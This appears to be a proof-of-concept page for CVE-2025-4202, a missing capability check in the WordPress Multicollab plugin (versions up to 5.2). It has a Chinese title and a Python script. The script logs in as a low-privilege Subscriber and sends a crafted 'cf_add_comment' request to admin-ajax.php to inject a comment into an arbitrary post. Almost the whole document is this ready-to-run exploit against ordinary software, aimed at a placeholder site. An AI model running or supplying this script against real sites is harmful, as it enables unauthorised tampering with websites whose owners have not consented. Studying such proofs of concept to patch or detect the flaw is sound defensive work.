CVE-2025-4202: WordPress Multicollab插件权限绕过漏洞

import requests # CVE-2025-4202 Proof of Concept # Vulnerability: Missing capability check in cf_add_comment # Affected: Multicollab Plugin <= 5.2 target = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber role) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate to obtain cookies login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target } session.post("http://example.com/wp-login.php", data=login_data) # Step 2: Exploit the vulnerability # The vulnerable action allows adding comments to arbitrary posts payload = { "action": "cf_add_comment", "post_id": "1", # Target post ID to inject comment into "comment_content": "Unauthorized comment added via CVE-2025-4202", "parent_id": "0" } response = session.post(target, data=payload) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Response:", response.text) else: print("[-] Exploit failed.")